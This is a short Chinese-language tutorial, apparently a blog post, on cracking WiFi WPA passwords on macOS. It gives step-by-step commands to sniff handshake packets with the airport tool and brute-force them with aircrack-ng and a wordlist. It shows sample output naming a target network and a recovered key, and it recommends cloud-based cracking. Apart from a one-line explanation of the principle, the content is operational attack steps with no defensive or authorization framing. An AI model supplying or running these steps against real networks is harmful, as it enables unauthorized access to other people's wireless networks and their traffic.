airport 工具破解 wifi
工具
airport,shell
环境
macox,zsh
原理
无线网卡在监听模式下,窃取ap的握手包,将大量的无线信号保存为cap文件,将准备好的字典文件与cap里面的加密信息进行爆破,从而获取正确的密钥。
步骤
-
安装airport
$ brew install airport
如果没有安装brew包管理工具,请自行安装。
-
查询当前网络的设备名(我的en0),并执行以下命令
$ sudo airport en0 sniff 6 Capturing 802.11 frames on en0.
$ ifconfig
可以查看全部网络的设备名称。 此时会进入到嗅探的过程,这个过程越长则获取握手包的成功率越高
-
等待了几分钟,
ctrl+c
中断嗅探的过程此时的cap包已经生成,保存在
/tmp/*.cap
。
将cap文件重命名为
1.cap
,字典文件重命名为1.txt
,仅仅是为了方便-
执行以下命令,找到enctryption列中的
(1 handshake)
,表示已经嗅探到了握手包,可以爆破$ aircrack-ng -w 1.txt 1.cap ... 21 C8:3A:35:02:68:68 beer WPA (1 handshake) ...
接下来会有一个输入的交互,意思是请输入要爆破的id,输入我们找到的那个序号(21)。
-
接下来会进入到爆破阶段,等待匹配成功会找到破解的密码
KEY FOUND! [ 19920706 ]
本机跑包对电脑消耗比较大,建议用云跑包